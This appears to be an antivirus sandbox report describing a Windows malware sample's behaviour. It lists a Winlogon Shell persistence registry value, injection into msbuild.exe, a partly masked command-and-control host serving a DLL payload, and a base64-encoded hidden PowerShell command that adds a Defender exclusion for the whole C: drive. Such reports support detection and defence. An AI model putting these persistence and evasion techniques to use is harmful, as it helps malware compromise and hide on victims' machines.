Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,"%LOCALAPPDATA%\Dxpserver.exe",'
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\dxpserver.exe
Network activity
Connects to
- 'pu####r01.sytes.net':80
TCP
HTTP GET requests
- http://pu####r01.sytes.net/dashboard/panel/uploads/Oivbhrfqysg.dll
UDP
- DNS ASK pu####r01.sytes.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
